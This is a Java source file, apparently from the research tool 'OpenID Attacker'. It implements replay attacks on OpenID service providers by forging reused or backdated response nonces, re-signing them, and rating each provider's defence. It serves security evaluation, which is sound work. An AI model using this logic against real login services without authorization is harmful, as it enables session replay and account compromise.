wsattacker.sso.openid.attacker.evaluation.attack.ReplayAttack.java Source code

Java tutorial

Introduction

Here is the source code for wsattacker.sso.openid.attacker.evaluation.attack.ReplayAttack.java

Source

/*
 * OpenID Attacker
 * (C) 2015 Christian Mainka & Christian Komann
 *
 * This program is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 * details.
 *
 * You should have received a copy of the GNU General Public License along with
 * this program; if not, write to the Free Software Foundation, Inc., 51
 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 */
package wsattacker.sso.openid.attacker.evaluation.attack;

import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.SimpleTimeZone;
import org.apache.commons.lang3.RandomStringUtils;
import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration;
import wsattacker.sso.openid.attacker.evaluation.LoginResult;
import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Interpretation;
import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Result;
import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;

public class ReplayAttack extends AbstractAttack {

    public ReplayAttack(ServiceProvider serviceProvider) {
        super(serviceProvider);
    }

    @Attack(number = 0)
    private AttackResult performSameResponseNonceAttack() {
        OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);

        String description = "The same timestamp and nonce in two consecutive " + "Authentication Responses.";

        // current time in utc
        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss'Z'");
        dateFormat.setTimeZone(new SimpleTimeZone(SimpleTimeZone.UTC_TIME, "UTC"));
        String timestamp = dateFormat.format(new Date()) + RandomStringUtils.random(8, true, true);
        ;

        // set response_nonce
        AttackParameter responseNonceParameter = keeper.getParameter("openid.response_nonce");
        responseNonceParameter.setAttackValueUsedForSignatureComputation(true);
        responseNonceParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
        responseNonceParameter.setAttackMethod(HttpMethod.GET);
        responseNonceParameter.setAttackValue(timestamp);

        // include modified response_nonce in signature
        AttackParameter sigParameter = keeper.getParameter("openid.sig");
        sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
        sigParameter.setAttackMethod(HttpMethod.GET);

        // two logins
        LoginResult loginResult = serviceProvider.login(User.ATTACKER);
        LoginResult loginResult2 = serviceProvider.loginAndDetermineAuthenticatedUser(User.ATTACKER);

        boolean success = loginResult2.getAuthenticatedUser() == User.ATTACKER;
        Result result = success ? Result.SUCCESS : Result.FAILURE;
        Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED;

        if (loginResult2.hasDirectVerification() && success) {
            result = Result.NOT_PERFORMABLE;
            interpretation = Interpretation.NEUTRAL;
        }

        assert isSignatureValid(loginResult2) : "Signature is not valid!";

        loginResult2.addLogEntriesAtStart(loginResult.getLogEntries());

        return new AttackResult(description, loginResult2, result, interpretation);
    }

    private String generateResponseNonceOfCurrentDateMinus(int years, int days, int hours) {
        Calendar calendar = Calendar.getInstance();
        calendar.setTime(new Date());
        calendar.add(Calendar.HOUR_OF_DAY, (0 - hours));
        calendar.add(Calendar.DAY_OF_YEAR, (0 - days));
        calendar.add(Calendar.YEAR, (0 - years));

        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss'Z'");
        dateFormat.setTimeZone(new SimpleTimeZone(SimpleTimeZone.UTC_TIME, "UTC"));
        String timestamp = dateFormat.format(calendar.getTime());

        String randomString = RandomStringUtils.random(8, true, true);
        return timestamp + randomString;
    }

    private AttackResult performReplayAttackWithResponseNonce(String responseNonce, String description) {
        AttackParameter responseNonceParameter = keeper.getParameter("openid.response_nonce");
        responseNonceParameter.setAttackValueUsedForSignatureComputation(true);
        responseNonceParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
        responseNonceParameter.setAttackMethod(HttpMethod.GET);
        responseNonceParameter.setAttackValue(responseNonce);

        // include modified parameter in signature
        AttackParameter sigParameter = keeper.getParameter("openid.sig");
        sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
        sigParameter.setAttackMethod(HttpMethod.GET);

        LoginResult loginResult = serviceProvider.loginAndDetermineAuthenticatedUser(User.ATTACKER);

        boolean success = loginResult.getAuthenticatedUser() == User.ATTACKER;
        Result result = success ? Result.SUCCESS : Result.FAILURE;
        Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED;

        if (loginResult.hasDirectVerification() && success) {
            interpretation = Interpretation.RESTRICTED;
        }

        assert isSignatureValid(loginResult) : "Signature is not valid!";

        return new AttackResult(description, loginResult, result, interpretation);
    }

    @Attack(number = 1)
    private AttackResult performReplayAttackWithTenYearOldToken() {
        OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);

        String description = "Replay of Authentication Response after 10 years.";
        String responseNonce = generateResponseNonceOfCurrentDateMinus(10, 0, 0);

        return performReplayAttackWithResponseNonce(responseNonce, description);
    }

    @Attack(number = 2, dependsOnFailureOf = 1)
    private AttackResult performReplayAttackWithOneDayOldToken() {
        OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);

        String description = "Replay of Authentication Response after 1 day.";
        String responseNonce = generateResponseNonceOfCurrentDateMinus(0, 1, 0);

        return performReplayAttackWithResponseNonce(responseNonce, description);
    }

    @Attack(number = 3, dependsOnFailureOf = 2)
    private AttackResult performReplayAttackWithSixHourOldToken() {
        OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);

        String description = "Replay of Authentication Response after 6 hours.";
        String responseNonce = generateResponseNonceOfCurrentDateMinus(0, 0, 6);

        return performReplayAttackWithResponseNonce(responseNonce, description);
    }

    @Attack(number = 4, dependsOnFailureOf = 3)
    private AttackResult performReplayAttackWithOneHourOldToken() {
        OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);

        String description = "Replay of Authentication Response after 1 hour.";
        String responseNonce = generateResponseNonceOfCurrentDateMinus(0, 0, 1);

        return performReplayAttackWithResponseNonce(responseNonce, description);
    }
}